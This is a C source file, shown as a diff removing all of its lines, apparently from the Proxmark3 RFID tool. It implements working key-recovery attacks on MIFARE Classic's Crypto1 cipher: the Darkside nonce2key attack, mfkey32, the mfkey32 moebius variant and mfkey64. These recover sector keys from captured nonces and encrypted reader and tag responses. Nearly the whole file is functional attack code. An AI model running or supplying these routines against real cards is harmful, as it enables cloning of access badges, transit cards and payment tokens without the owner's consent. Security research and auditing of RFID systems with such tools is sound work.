-//-----------------------------------------------------------------------------
-// Merlok - June 2011
-// Roel - Dec 2009
-// Unknown author
-//
-// This code is licensed to you under the terms of the GNU GPL, version 2 or,
-// at your option, any later version. See the LICENSE.txt file for the text of
-// the license.
-//-----------------------------------------------------------------------------
-// MIFARE Darkside hack
-//-----------------------------------------------------------------------------
-
-#include "nonce2key.h"
-
-#include <inttypes.h>
-#include <stdio.h>
-#include <stdlib.h>
-#include "mifarehost.h"
-#include "ui.h"
-#include "util.h"
-#include "crapto1/crapto1.h"
-
-int compar_state(const void * a, const void * b) {
- // didn't work: (the result is truncated to 32 bits)
- //return (*(int64_t*)b - *(int64_t*)a);
-
- // better:
- if (*(int64_t*)b == *(int64_t*)a) return 0;
- else if (*(int64_t*)b > *(int64_t*)a) return 1;
- else return -1;
-}
-
-int nonce2key(uint32_t uid, uint32_t nt, uint32_t nr, uint64_t par_info, uint64_t ks_info, uint64_t * key) {
- struct Crypto1State *state;
- uint32_t i, pos, rr, nr_diff, key_count;//, ks1, ks2;
- uint8_t bt, ks3x[8], par[8][8];
- uint64_t key_recovered;
- int64_t *state_s;
- static uint32_t last_uid;
- static int64_t *last_keylist;
- rr = 0;
-
- if (last_uid != uid && last_keylist != NULL)
- {
- free(last_keylist);
- last_keylist = NULL;
- }
- last_uid = uid;
-
- // Reset the last three significant bits of the reader nonce
- nr &= 0xffffff1f;
-
- PrintAndLog("\nuid(%08x) nt(%08x) par(%016" PRIx64") ks(%016" PRIx64") nr(%08" PRIx32")\n\n",uid,nt,par_info,ks_info,nr);
-
- for (pos=0; pos<8; pos++)
- {
- ks3x[7-pos] = (ks_info >> (pos*8)) & 0x0f;
- bt = (par_info >> (pos*8)) & 0xff;
- for (i=0; i<8; i++)
- {
- par[7-pos][i] = (bt >> i) & 0x01;
- }
- }
-
- printf("|diff|{nr} |ks3|ks3^5|parity |\n");
- printf("+----+--------+---+-----+---------------+\n");
- for (i=0; i<8; i++)
- {
- nr_diff = nr | i << 5;
- printf("| %02x |%08x|",i << 5, nr_diff);
- printf(" %01x | %01x |",ks3x[i], ks3x[i]^5);
- for (pos=0; pos<7; pos++) printf("%01x,", par[i][pos]);
- printf("%01x|\n", par[i][7]);
- }
-
- if (par_info == 0)
- PrintAndLog("Parity is all zero, trying special attack! Just wait for few more seconds...");
-
- state = lfsr_common_prefix(nr, rr, ks3x, par, (par_info == 0));
- state_s = (int64_t*)state;
-
- //char filename[50] ;
- //sprintf(filename, "nt_%08x_%d.txt", nt, nr);
- //printf("name %s\n", filename);
- //FILE* fp = fopen(filename,"w");
- for (i = 0; (state) && *(state_s + i); i++)
- {
- lfsr_rollback_word(state+i, uid^nt, 0);
- crypto1_get_lfsr(state + i, &key_recovered);
- *(state_s + i) = key_recovered;
- //fprintf(fp, "%012" PRIx64 "\n",key_recovered);
- }
- //fclose(fp);
-
- if(!state)
- return 1;
-
- qsort(state_s, i, sizeof(*state_s), compar_state);
- *(state_s + i) = -1;
-
- //Create the intersection:
- if (par_info == 0 ) {
- if (last_keylist != NULL) {
- int64_t *p1, *p2, *p3;
- p1 = p3 = last_keylist;
- p2 = state_s;
- while ( *p1 != -1 && *p2 != -1 ) {
- if (compar_state(p1, p2) == 0) {
- printf("p1:%" PRIx64" p2:%" PRIx64 " p3:%" PRIx64" key:%012" PRIx64 "\n",(uint64_t)(p1-last_keylist),(uint64_t)(p2-state_s),(uint64_t)(p3-last_keylist),*p1);
- *p3++ = *p1++;
- p2++;
- }
- else {
- while (compar_state(p1, p2) == -1) ++p1;
- while (compar_state(p1, p2) == 1) ++p2;
- }
- }
- key_count = p3 - last_keylist;
- } else {
- key_count = 0;
- }
- } else {
- last_keylist = state_s;
- key_count = i;
- }
-
- printf("key_count:%d\n", key_count);
-
- // The list may still contain several key candidates. Test each of them with mfCheckKeys
- for (i = 0; i < key_count; i++) {
- uint8_t keyBlock[6];
- uint64_t key64;
- key64 = *(last_keylist + i);
- num_to_bytes(key64, 6, keyBlock);
- key64 = 0;
- if (!mfCheckKeys(0, 0, false, 1, keyBlock, &key64)) {
- *key = key64;
- free(last_keylist);
- last_keylist = NULL;
- if (par_info == 0)
- free(state);
- return 0;
- }
- }
-
-
- free(last_keylist);
- last_keylist = state_s;
-
- return 1;
-}
-
-// 32 bit recover key from 2 nonces
-bool mfkey32(nonces_t data, uint64_t *outputkey) {
- struct Crypto1State *s,*t;
- uint64_t outkey = 0;
- uint64_t key=0; // recovered key
- uint32_t uid = data.cuid;
- uint32_t nt = data.nonce; // first tag challenge (nonce)
- uint32_t nr0_enc = data.nr; // first encrypted reader challenge
- uint32_t ar0_enc = data.ar; // first encrypted reader response
- uint32_t nr1_enc = data.nr2; // second encrypted reader challenge
- uint32_t ar1_enc = data.ar2; // second encrypted reader response
- uint64_t t1 = msclock();
- bool isSuccess = false;
- uint8_t counter=0;
-
- s = lfsr_recovery32(ar0_enc ^ prng_successor(nt, 64), 0);
-
- for(t = s; t->odd | t->even; ++t) {
- lfsr_rollback_word(t, 0, 0);
- lfsr_rollback_word(t, nr0_enc, 1);
- lfsr_rollback_word(t, uid ^ nt, 0);
- crypto1_get_lfsr(t, &key);
- crypto1_word(t, uid ^ nt, 0);
- crypto1_word(t, nr1_enc, 1);
- if (ar1_enc == (crypto1_word(t, 0, 0) ^ prng_successor(nt, 64))) {
- //PrintAndLog("Found Key: [%012" PRIx64 "]",key);
- outkey = key;
- counter++;
- if (counter==20) break;
- }
- }
- isSuccess = (counter == 1);
- t1 = msclock() - t1;
- //if ( t1 > 0 ) PrintAndLog("Time in mfkey32: %.1f seconds \nFound %d possible keys", (float)t1/1000.0, counter);
- *outputkey = ( isSuccess ) ? outkey : 0;
- crypto1_destroy(s);
- /* //un-comment to save all keys to a stats.txt file
- FILE *fout;
- if ((fout = fopen("stats.txt","ab")) == NULL) {
- PrintAndLog("Could not create file name stats.txt");
- return 1;
- }
- fprintf(fout, "mfkey32,%d,%08x,%d,%s,%04x%08x,%.0Lf\r\n", counter, data.cuid, data.sector, (data.keytype) ? "B" : "A", (uint32_t)(outkey>>32) & 0xFFFF,(uint32_t)(outkey&0xFFFFFFFF),(long double)t1);
- fclose(fout);
- */
- return isSuccess;
-}
-
-bool tryMfk32_moebius(nonces_t data, uint64_t *outputkey) {
- struct Crypto1State *s, *t;
- uint64_t outkey = 0;
- uint64_t key = 0; // recovered key
- uint32_t uid = data.cuid;
- uint32_t nt0 = data.nonce; // first tag challenge (nonce)
- uint32_t nr0_enc = data.nr; // first encrypted reader challenge
- uint32_t ar0_enc = data.ar; // first encrypted reader response
- uint32_t nt1 = data.nonce2; // second tag challenge (nonce)
- uint32_t nr1_enc = data.nr2; // second encrypted reader challenge
- uint32_t ar1_enc = data.ar2; // second encrypted reader response
- bool isSuccess = false;
- int counter = 0;
-
- //PrintAndLog("Enter mfkey32_moebius");
- uint64_t t1 = msclock();
-
- s = lfsr_recovery32(ar0_enc ^ prng_successor(nt0, 64), 0);
-
- for(t = s; t->odd | t->even; ++t) {
- lfsr_rollback_word(t, 0, 0);
- lfsr_rollback_word(t, nr0_enc, 1);
- lfsr_rollback_word(t, uid ^ nt0, 0);
- crypto1_get_lfsr(t, &key);
-
- crypto1_word(t, uid ^ nt1, 0);
- crypto1_word(t, nr1_enc, 1);
- if (ar1_enc == (crypto1_word(t, 0, 0) ^ prng_successor(nt1, 64))) {
- //PrintAndLog("Found Key: [%012" PRIx64 "]",key);
- outkey=key;
- ++counter;
- if (counter==20)
- break;
- }
- }
- isSuccess = (counter == 1);
- t1 = msclock() - t1;
- //if ( t1 > 0 ) PrintAndLog("Time in mfkey32_moebius: %.1f seconds \nFound %d possible keys", (float)t1/1000.0, counter);
- *outputkey = ( isSuccess ) ? outkey : 0;
- crypto1_destroy(s);
- /* // un-comment to output all keys to stats.txt
- FILE *fout;
- if ((fout = fopen("stats.txt","ab")) == NULL) {
- PrintAndLog("Could not create file name stats.txt");
- return 1;
- }
- fprintf(fout, "moebius,%d,%08x,%d,%s,%04x%08x,%0.Lf\r\n", counter, data.cuid, data.sector, (data.keytype) ? "B" : "A", (uint32_t) (outkey>>32),(uint32_t)(outkey&0xFFFFFFFF),(long double)t1);
- fclose(fout);
- */
- return isSuccess;
-}
-
-int tryMfk64_ex(uint8_t *data, uint64_t *outputkey){
- uint32_t uid = le32toh(data);
- uint32_t nt = le32toh(data+4); // tag challenge
- uint32_t nr_enc = le32toh(data+8); // encrypted reader challenge
- uint32_t ar_enc = le32toh(data+12); // encrypted reader response
- uint32_t at_enc = le32toh(data+16); // encrypted tag response
- return tryMfk64(uid, nt, nr_enc, ar_enc, at_enc, outputkey);
-}
-
-int tryMfk64(uint32_t uid, uint32_t nt, uint32_t nr_enc, uint32_t ar_enc, uint32_t at_enc, uint64_t *outputkey){
- uint64_t key = 0; // recovered key
- uint32_t ks2; // keystream used to encrypt reader response
- uint32_t ks3; // keystream used to encrypt tag response
- struct Crypto1State *revstate;
-
- PrintAndLog("Enter mfkey64");
- uint64_t t1 = msclock();
-
- // Extract the keystream from the messages
- ks2 = ar_enc ^ prng_successor(nt, 64);
- ks3 = at_enc ^ prng_successor(nt, 96);
- revstate = lfsr_recovery64(ks2, ks3);
- lfsr_rollback_word(revstate, 0, 0);
- lfsr_rollback_word(revstate, 0, 0);
- lfsr_rollback_word(revstate, nr_enc, 1);
- lfsr_rollback_word(revstate, uid ^ nt, 0);
- crypto1_get_lfsr(revstate, &key);
- PrintAndLog("Found Key: [%012" PRIx64 "]", key);
- crypto1_destroy(revstate);
- *outputkey = key;
-
- t1 = msclock() - t1;
- if ( t1 > 0 ) PrintAndLog("Time in mfkey64: %.1f seconds \n", (float)t1/1000.0);
- return 0;
-}
-
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